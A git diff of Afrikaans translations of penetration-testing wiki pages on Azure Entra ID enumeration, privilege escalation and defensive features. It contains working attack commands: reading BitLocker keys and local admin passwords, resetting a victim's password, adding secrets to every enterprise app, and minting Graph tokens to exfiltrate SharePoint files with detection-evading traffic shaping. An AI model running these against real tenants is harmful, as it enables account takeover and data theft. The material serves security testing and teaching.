Hierdie toestemming laat aanvallers toe om hul rekening met toestelle te assosieer om toegang te verkry of om sekuriteitsbeleide te omseil.
|
||||
Hierdie toestemming maak dit vir aanvalers moontlik om hul rekening aan toestelle te koppel om toegang te verkry of sekuriteitsbeleide te omseil.
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
@@ -282,7 +387,7 @@ az rest --method POST \
|
||||
```
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
Hierdie toestemming laat aanvallers toe om die eienskappe van die geback-up plaaslike administrateurrekening geloofsbriewe vir Microsoft Entra-verbonden toestelle te lees, insluitend die wagwoord.
|
||||
Hierdie toestemming stel aanvallers in staat om die eienskappe van die gerugsteunde plaaslike administrateurrekening-inlogbewyse vir Microsoft Entra joined devices te lees, insluitend die wagwoord
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
@@ -297,7 +402,7 @@ az rest --method GET \
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
Hierdie toestemming stel toegang tot BitLocker sleutels in, wat 'n aanvaller in staat kan stel om skywe te ontsleutel, wat data vertroulikheid in gevaar stel.
|
||||
Hierdie toestemming gee toegang tot BitLocker keys, wat 'n aanvaller in staat kan stel om drives te decrypt en sodoende die vertroulikheid van data te kompromitteer.
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
|
||||
@@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese Inligting
|
||||
## Basiese inligting
|
||||
|
||||
Azure Active Directory (Azure AD) dien as Microsoft se wolkgebaseerde diens vir identiteit- en toegangsbestuur. Dit speel 'n sleutelrol om werknemers in staat te stel om aan te meld en toegang te kry tot hulpbronne, beide binne en buite die organisasie, insluitend Microsoft 365, die Azure portal, en 'n magdom ander SaaS-toepassings. Die ontwerp van Azure AD fokus op die verskaffing van noodsaaklike identiteitsdienste, veral **verifikasie, magtiging en gebruikersbestuur**.
|
||||
Azure Active Directory (Azure AD) dien as Microsoft se wolkgebaseerde diens vir identiteit- en toegangbestuur. Dit maak dit moontlik vir werknemers om aan te meld en toegang te kry tot hulpbronne binne en buite die organisasie, insluitend Microsoft 365, die Azure portal, en 'n magdom ander SaaS-toepassings. Die ontwerp van Azure AD fokus op die lewering van noodsaaklike identiteitsdienste, veral insluitend **outentisering, outorisering, en gebruikersbestuur**.
|
||||
|
||||
Belangrike kenmerke van Azure AD sluit in **multi-faktor verifikasie** en **voorwaardelike toegang**, tesame met naatlose integrasie met ander Microsoft-sekuriteitsdienste. Hierdie funksies verhoog die veiligheid van gebruikersidentiteite aansienlik en stel organisasies in staat om hul toegangspolisies doeltreffend te implementeer en af te dwing. As 'n fundamentele komponent van Microsoft se wolkdienste-ekosisteem, is Azure AD van kritieke belang vir die wolkgebaseerde bestuur van gebruikersidentiteite.
|
||||
Belangrike kenmerke van Azure AD sluit **veelfaktor-outentisering** en **voorwaardelike toegang** in, tesame met naatlose integrasie met ander Microsoft sekuriteitsdienste. Hierdie kenmerke verhoog die sekuriteit van gebruikersidentiteite aansienlik en stel organisasies in staat om hul toegangsbeleide effektief te implementeer en af te dwing. As 'n fundamentele komponent van Microsoft se wolkdienste-ekosisteem, is Azure AD deurslaggewend vir die wolkgebaseerde bestuur van gebruikersidentiteite.
|
||||
|
||||
## Enumeration
|
||||
## Enumerasie
|
||||
|
||||
### **Verbinding**
|
||||
|
||||
@@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
Wanneer jy **login** via **CLI** in Azure met enige program, gebruik jy 'n **Azure Application** van 'n **tenant** wat aan **Microsoft** behoort. Hierdie Applications, soos diegene wat jy in jou rekening kan skep, **have a client id**. Jy **won't be able to see all of them** in die **allowed applications lists** wat jy in die console kan sien, **but they are allowed by default**.
|
||||
Wanneer jy via die **CLI** in Azure met enige program **login**, gebruik jy 'n **Azure Application** van 'n **tenant** wat aan **Microsoft** behoort. Hierdie Applications, soos dié wat jy in jou rekening kan skep, **het 'n client id**. Jy sal **nie al hulle kan sien nie** in die **allowed applications lists** wat jy in die console kan sien, **maar hulle is standaard toegelaat**.
|
||||
|
||||
Byvoorbeeld, 'n **powershell script** wat **authenticates** gebruik 'n app met client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die console nie, kan 'n sysadmin daardie **block that application** toepas sodat gebruikers nie met tools wat via daardie App verbind toegang kan kry nie.
|
||||
Byvoorbeeld 'n **powershell script** wat **authenticates** gebruik 'n app met client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Selfs al verskyn die app nie in die console nie, kan 'n sysadmin daardie **toepassing blokkeer** sodat gebruikers nie met tools wat via daardie App koppel toegang kan kry nie.
|
||||
|
||||
Daar is egter **other client-ids** van applications wat **will allow you to connect to Azure**:
|
||||
Daar is egter **ander client-ids** van toepassings wat jou **sal toelaat om aan Azure te koppel**:
|
||||
```bash
|
||||
# The important part is the ClientId, which identifies the application to login inside Azure
|
||||
|
||||
@@ -358,15 +358,15 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
#### Verander wagwoord van gebruiker
|
||||
#### Verander gebruikerswagwoord
|
||||
```bash
|
||||
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
|
||||
|
||||
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
|
||||
```
|
||||
### MFA & Conditional Access Policies
|
||||
### MFA & Conditional Access-beleide
|
||||
|
||||
Dit word sterk aanbeveel om MFA by elke gebruiker te aktiveer; sommige maatskappye stel dit egter nie in nie, of stel dit as deel van 'n Conditional Access: Daar sal **vereis MFA as** die gebruiker vanaf 'n spesifieke ligging, blaaier of **'n bepaalde voorwaarde** aanmeld. Hierdie beleide, as dit nie korrek gekonfigureer is nie, kan vatbaar wees vir **bypasses**. Kyk:
|
||||
Dit word sterk aanbeveel om MFA vir elke gebruiker te aktiveer. Sommige maatskappye stel dit egter nie in nie of stel dit dalk met 'n Conditional Access: die gebruiker sal **MFA vereis indien** hy vanaf 'n spesifieke ligging, blaaier of **sekere voorwaarde** aanmeld. Hierdie beleide, indien nie korrek gekonfigureer nie, kan vatbaar wees vir **bypasses**. Kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -483,12 +483,12 @@ Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *
|
||||
|
||||
#### Voeg gebruiker by groep
|
||||
|
||||
Eienaars van die groep kan nuwe gebruikers by die groep voeg.
|
||||
Eienaars van die groep kan nuwe gebruikers by die groep voeg
|
||||
```bash
|
||||
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker sekere voorwaardes vervul, hy by 'n groep gevoeg sal word**. Natuurlik, as die voorwaardes gebaseer is op **eienskappe** wat 'n **gebruiker** kan **beïnvloed**, kan hy hierdie funksie misbruik om **in ander groepe te kom**.\
|
||||
> Groepe kan dinamies wees, wat basies beteken dat **as 'n gebruiker aan sekere voorwaardes voldoen, sal hy/sy by 'n groep gevoeg word**. Uiteraard, as die voorwaardes gebaseer is op **attribuute** wat 'n **gebruiker** kan **beheer**, kan hy/sy hierdie funksie misbruik om **in ander groepe in te kom**.\
|
||||
> Kyk hoe om dinamiese groepe te misbruik op die volgende bladsy:
|
||||
|
||||
{{#ref}}
|
||||
@@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
|
||||
|
||||
### Service Principals
|
||||
|
||||
Vir meer inligting oor Entra ID service principals sien:
|
||||
For more information about Entra ID service principals check:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -598,11 +598,11 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> Die Owner van 'n Service Principal kan sy wagwoord verander.
|
||||
> Die Owner van 'n Service Principal kan die wagwoord verander.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Lys en probeer om 'n client secret by elke Enterprise App te voeg</summary>
|
||||
<summary>Lys en probeer om 'n client secret vir elke Enterprise App by te voeg</summary>
|
||||
```bash
|
||||
# Just call Add-AzADAppSecret
|
||||
Function Add-AzADAppSecret
|
||||
@@ -707,18 +707,18 @@ Write-Output "Failed to Enumerate the Applications."
|
||||
```
|
||||
</details>
|
||||
|
||||
### Aansoeke
|
||||
### Toepassings
|
||||
|
||||
Vir meer inligting oor Aansoeke, sien:
|
||||
Vir meer inligting oor Toepassings kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
{{#endref}}
|
||||
|
||||
Wanneer 'n App gegenereer word, word 2 tipes permissies gegee:
|
||||
Wanneer 'n App gegenereer word, word 2 tipes Permissions gegee:
|
||||
|
||||
- **Permissies** wat aan die **Service Principal** gegee word
|
||||
- **Permissies** wat die **app** kan hê en **namens die gebruiker** kan gebruik.
|
||||
- **Permissions** gegee aan die **Service Principal**
|
||||
- **Permissions** wat die **app** kan hê en gebruik namens die **user**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss
|
||||
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
|
||||
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
|
||||
```
|
||||
<details>
|
||||
<summary>Vind alle toepassings met API-permissies vir nie-Microsoft APIs (az cli)</summary>
|
||||
```bash
|
||||
#!/usr/bin/env bash
|
||||
set -euo pipefail
|
||||
|
||||
# Known Microsoft first-party owner organization IDs.
|
||||
MICROSOFT_OWNER_ORG_IDS=(
|
||||
"f8cdef31-a31e-4b4a-93e4-5f571e91255a"
|
||||
"72f988bf-86f1-41af-91ab-2d7cd011db47"
|
||||
)
|
||||
|
||||
is_microsoft_owner() {
|
||||
local owner="$1"
|
||||
local id
|
||||
for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do
|
||||
if [ "$owner" = "$id" ]; then
|
||||
return 0
|
||||
fi
|
||||
done
|
||||
return 1
|
||||
}
|
||||
|
||||
command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; }
|
||||
command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; }
|
||||
az account show >/dev/null
|
||||
|
||||
apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)"
|
||||
|
||||
tmp_map="$(mktemp)"
|
||||
tmp_ids="$(mktemp)"
|
||||
trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT
|
||||
|
||||
# Build unique resourceAppId values used by applications.
|
||||
jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids"
|
||||
|
||||
# Resolve resourceAppId -> owner organization + API display name.
|
||||
while IFS= read -r rid; do
|
||||
[ -n "$rid" ] || continue
|
||||
sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)"
|
||||
owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")"
|
||||
name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")"
|
||||
printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map"
|
||||
done < "$tmp_ids"
|
||||
|
||||
echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId"
|
||||
|
||||
# Print only app permissions where the target API is NOT Microsoft-owned.
|
||||
while IFS= read -r row; do
|
||||
app_name="$(jq -r '.[0]' <<<"$row")"
|
||||
app_id="$(jq -r '.[1]' <<<"$row")"
|
||||
|
||||
while IFS= read -r rra; do
|
||||
resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")"
|
||||
map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")"
|
||||
owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")"
|
||||
resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")"
|
||||
|
||||
[ -n "$owner_org" ] || owner_org="UNKNOWN"
|
||||
[ -n "$resource_name" ] || resource_name="UNKNOWN"
|
||||
|
||||
if is_microsoft_owner "$owner_org"; then
|
||||
continue
|
||||
fi
|
||||
|
||||
while IFS= read -r access; do
|
||||
perm_type="$(jq -r '.type' <<<"$access")"
|
||||
perm_id="$(jq -r '.id' <<<"$access")"
|
||||
echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}"
|
||||
done < <(jq -c '.resourceAccess[]' <<<"$rra")
|
||||
done < <(jq -c '.[2][]' <<<"$row")
|
||||
done < <(jq -c '.[]' <<<"$apps_json")
|
||||
```
|
||||
</details>
|
||||
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az" }}
|
||||
@@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
|
||||
{{#endtabs }}
|
||||
|
||||
> [!WARNING]
|
||||
> 'n app met die toestemming **`AppRoleAssignment.ReadWrite`** kan homself tot Global Admin eskaleer deur homself die rol te gee.\
|
||||
> 'n app met die toestemming **`AppRoleAssignment.ReadWrite`** can **escalate to Global Admin** deur homself die rol toe te ken.\
|
||||
> Vir meer inligting [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
|
||||
|
||||
> [!NOTE]
|
||||
> 'n Geheime string wat die application gebruik om sy identiteit te bewys wanneer dit 'n token versoek, is die application **password**.\
|
||||
> Dus, as jy hierdie **password** vind kan jy toegang kry as die **service principal** binne die **tenant**.\
|
||||
> Let wel dat hierdie **password** slegs sigbaar is wanneer dit gegenereer word (jy kan dit verander maar jy kan dit nie weer kry nie).\
|
||||
> Die **owner** van die **application** kan **add a password** daaraan voeg (sodat hy dit kan impersonate).\
|
||||
> Aanmeldings as hierdie service principals word **nie as riskant gemerk nie** en hulle **sal nie MFA hê nie.**
|
||||
> 'n Geheime string wat die application gebruik om sy identiteit te bewys wanneer dit 'n token versoek is die application password.\
|
||||
> Dus, as jy hierdie **password** vind, kan jy as die **service principal** **inside** die **tenant** toegang kry.\
|
||||
> Let daarop dat hierdie password slegs sigbaar is wanneer dit gegenereer word (jy kan dit verander maar jy kan dit nie weer kry nie).\
|
||||
> Die **owner** van die **application** kan **add a password** daaraan (sodat hy dit kan impersonate).\
|
||||
> Logins as hierdie service principals is **not marked as risky** en hulle **won't have MFA.**
|
||||
|
||||
Dit is moontlik om 'n lys van algemeen gebruikte App IDs wat aan Microsoft behoort te vind in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
|
||||
|
||||
### Managed Identities
|
||||
|
||||
Vir meer inligting oor Managed Identities, kyk:
|
||||
For more information about Managed Identities check:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -852,7 +927,7 @@ az identity list --output table
|
||||
|
||||
### Azure Rolle
|
||||
|
||||
Vir meer inligting oor Azure-rolle, sien:
|
||||
Vir meer inligting oor Azure rolle, kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -937,9 +1012,9 @@ Headers = @{
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Entra ID-rolle
|
||||
### Entra ID Rolle
|
||||
|
||||
Vir meer inligting oor Azure-rolle, kyk:
|
||||
Vir meer inligting oor Azure-rolle kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-basic-information/
|
||||
@@ -1100,14 +1175,14 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Microsoft Graph gedelegeerde SharePoint data-exfiltrasie (SharePointDumper)
|
||||
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
|
||||
|
||||
Aanvallers met 'n **gedelegeerde Microsoft Graph token** wat **`Sites.Read.All`** of **`Sites.ReadWrite.All`** insluit, kan **sites/drives/items** oor Graph opnoem en dan **lêerinhoud haal** via **SharePoint pre-authentication download URLs** (tydbeperkte URL's met 'n ingebedde toegangstoken). Die [SharePointDumper](https://github.com/zh54321/SharePointDumper) script outomatiseer die volledige vloei (enumeration → pre-auth downloads) en lewer per-versoek telemetrie vir deteksietoetsing.
|
||||
Aanvallers met 'n **gedelegeerde Microsoft Graph token** wat **`Sites.Read.All`** of **`Sites.ReadWrite.All`** insluit, kan **sites/drives/items** oor Graph opnoem en dan lêerinhoud trek via **SharePoint pre-authentication download URLs** (tyd-beperkte URLs wat 'n access token insluit). Die [SharePointDumper](https://github.com/zh54321/SharePointDumper) skrip outomatiseer die volledige vloei (enumeration → pre-auth downloads) en genereer per-versoek telemetrie vir deteksietoetsing.
|
||||
|
||||
### Verkryging van bruikbare gedelegeerde tokens
|
||||
### Obtaining usable delegated tokens
|
||||
|
||||
- SharePointDumper self **authentikeer nie**; verskaf 'n access token (opsioneel 'n refresh token).
|
||||
- Pre-consented **first-party clients** kan misbruik word om 'n Graph token te mint sonder om 'n app te registreer. Voorbeeld `Invoke-Auth` (from [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) aanroepe:
|
||||
- SharePointDumper self **authentiseer nie**; voorsien 'n access token (opsioneel 'n refresh token).
|
||||
- Vooraf-toegestane **first-party clients** kan misbruik word om 'n Graph token te mint sonder om 'n app te registreer. Voorbeeld `Invoke-Auth` (van [EntraTokenAid](https://github.com/zh54321/EntraTokenAid)) aanroepe:
|
||||
```powershell
|
||||
# CAE requested by default; yields long-lived (~24h) access token
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
@@ -1120,7 +1195,7 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
|
||||
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
|
||||
```
|
||||
> [!NOTE]
|
||||
> FOCI TRUE kliënte ondersteun refresh oor toestelle; FOCI FALSE kliënte vereis dikwels `-Origin` om reply URL origin validation te bevredig.
|
||||
> FOCI TRUE clients ondersteun refresh oor toestelle; FOCI FALSE clients vereis dikwels `-Origin` om reply-URL oorsprongvalidasie te bevredig.
|
||||
|
||||
### Uitvoering van SharePointDumper vir enumeration + exfiltration
|
||||
|
||||
@@ -1128,24 +1203,24 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
|
||||
```
|
||||
- Omvangbeheer: insluit/uitsluit webwerwe of uitbreidings en globale limiete:
|
||||
- Omvangbeheer: sluit werwe of uitbreidings in/uit en globale perke:
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
|
||||
```
|
||||
- **Resume** onderbroke runs (re-enumerates, maar slaan afgelaaide items oor):
|
||||
- **Hervat** onderbroke uitvoerings (heropnoem, maar slaan afgelaaide items oor):
|
||||
```powershell
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
|
||||
```
|
||||
- **Outomatiese token-hernuwing by HTTP 401** (vereis EntraTokenAid gelaai):
|
||||
- **Outomatiese token refresh by HTTP 401** (vereis dat EntraTokenAid gelaai is):
|
||||
```powershell
|
||||
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
|
||||
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
|
||||
```
|
||||
Operasionele notas:
|
||||
|
||||
- Voorkeur vir **CAE-enabled** tokens om mid-run verval te voorkom; herlaaipogings word **nie** in die hulpmiddel se API-log aangeteken nie.
|
||||
- Genereer **CSV/JSON request logs** vir **Graph + SharePoint** en maskeer ingebedde SharePoint download tokens standaard (skakelbaar).
|
||||
- Ondersteun **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, en **Ctrl+C-safe shutdown** vir verkeersvorming tydens detectie/IR-toetse.
|
||||
- Gee voorkeur aan **CAE-enabled** tokens om mid-run verstryking te voorkom; verfrissingpogings word **nie** in die tool se API log ingeskryf nie.
|
||||
- Genereer **CSV/JSON request logs** vir **Graph + SharePoint** en redigeer standaard ingeslote SharePoint download tokens (skakelbaar).
|
||||
- Ondersteun **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, en **Ctrl+C-safe shutdown** vir traffic shaping tydens detection/IR tests.
|
||||
|
||||
## Entra ID Privilege Escalation
|
||||
|
||||
@@ -1163,28 +1238,29 @@ Operasionele notas:
|
||||
|
||||
### Privileged Identity Management (PIM)
|
||||
|
||||
Privileged Identity Management (PIM) in Azure help om te voorkom dat gebruikers onnodig buitensporige voorregte toegeken word.
|
||||
Privileged Identity Management (PIM) in Azure help om te **voorkom dat oormatige regte onnodig aan gebruikers toegewys word**.
|
||||
|
||||
Een van die hoofkenmerke van PIM is dat dit toelaat om rolle nie aan principals wat konstant aktief is toe te ken nie, maar om hulle vir 'n bepaalde tydperk kwalifiseerbaar te maak (bv. 6 maande). Wanneer die gebruiker die rol wil aktiveer, moet hy daarvoor vra en die tyd aandui wat hy die voorreg benodig (bv. 3 uur). Dan moet 'n admin die versoek goedkeur. Let wel: die gebruiker kan ook vra om die tyd te verleng.
|
||||
Een van die hoofkenmerke wat deur PIM verskaf word, is dat dit toelaat om rolle nie permanent aan principals toe te ken nie, maar hulle **in aanmerking te laat kom vir 'n tydperk (e.g. 6months)**. Wanneer die gebruiker daardie rol wil aktiveer, moet hy daarvoor vra en die tyd aandui waarvoor hy die reg benodig (e.g. 3 hours). Dan moet 'n **admin die versoek goedkeur**.\
|
||||
Let daarop dat die gebruiker ook kan vra om die tyd te **verleng**.
|
||||
|
||||
Verder stuur PIM e-posse wanneer 'n privileged role aan iemand toegeken word.
|
||||
Boonop stuur **PIM e-posse** wanneer 'n bevoorregte rol aan iemand toegeken word.
|
||||
|
||||
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wanneer PIM aangeskakel is, is dit moontlik om elke rol met sekere vereistes te konfigureer, soos:
|
||||
|
||||
- Maksimum duur (ure) van aktivering
|
||||
- Maksimum duur (hours) van aktivering
|
||||
- Vereis MFA by aktivering
|
||||
- Vereis Conditional Access authentication context
|
||||
- Vereis regverdiging by aktivering
|
||||
- Vereis ticket-inligting by aktivering
|
||||
- Vereis motivering by aktivering
|
||||
- Vereis ticket information by aktivering
|
||||
- Vereis goedkeuring om te aktiveer
|
||||
- Maksimum tyd waarna die kwalifiserende toewysings verval
|
||||
- Baie meer konfigurasie oor wanneer en aan wie kennisgewings gestuur moet word wanneer sekere aksies met daardie rol gebeur
|
||||
- Max time to expire the eligible assignments
|
||||
- Baie meer konfigurasie oor wanneer en aan wie kennisgewings gestuur word wanneer sekere handelinge met daardie rol plaasvind
|
||||
|
||||
### Conditional Access Policies
|
||||
|
||||
Sien:
|
||||
Kyk:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
|
||||
@@ -1192,26 +1268,27 @@ Sien:
|
||||
|
||||
### Entra Identity Protection
|
||||
|
||||
Entra Identity Protection is 'n sekuriteitsdiens wat toelaat om te detect wanneer 'n gebruiker of 'n sign-in te riskant is om te aanvaar, en om die gebruiker of die sign-in poging te block.
|
||||
Entra Identity Protection is 'n sekuriteitsdiens wat toelaat om te **ontdek wanneer 'n gebruiker of 'n sign-in te riskant is** om te aanvaar, wat dit moontlik maak om die gebruiker of die sign-in poging te **blokkeer**.
|
||||
|
||||
Dit stel die admin in staat om dit te konfigureer om pogings te blokkeer wanneer die risiko "Low and above", "Medium and above" of "High" is. Alhoewel, standaard is dit heeltemal "disabled":
|
||||
Dit laat die admin toe om dit te konfigureer om pogings te **blokkeer** wanneer die risiko "Low and above", "Medium and above" of "High" is. Nietemin, standaard is dit heeltemal **disabled**:
|
||||
|
||||
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Tans word dit aanbeveel om hierdie beperkings via Conditional Access-beleide by te voeg waar dieselfde opsies gekonfigureer kan word.
|
||||
> Tans word aanbeveel om hierdie beperkings via Conditional Access policies by te voeg waar dit moontlik is om dieselfde opsies te konfigureer.
|
||||
|
||||
### Entra Password Protection
|
||||
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is 'n sekuriteitsfunksie wat help om die misbruik van swak wagwoorde te voorkom deur rekeninge te sluit wanneer verskeie onsuksesvolle aanmeldpogings plaasvind. Dit laat ook toe om 'n pasgemaakte wagwoordlys te verbied wat jy moet voorsien.
|
||||
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) is 'n sekuriteitsfunksie wat help om die misbruik van swak wagwoorde te voorkom deur rekeninge te sluit wanneer verskeie onsuksesvolle aanmeldpogings plaasvind.\
|
||||
Dit laat ook toe om 'n pasgemaakte wagwoordlys te **verbied** wat jy moet verskaf.
|
||||
|
||||
Dit kan toegepas word beide op die cloudvlak en op on-premises Active Directory.
|
||||
Dit kan **beide** op cloudvlak en on-premises Active Directory toegepas word.
|
||||
|
||||
Die standaardmodus is **Audit**:
|
||||
|
||||
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## References
|
||||
## Verwysings
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
|
||||
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)
|
||||
|
||||
Reference in New Issue
Block a user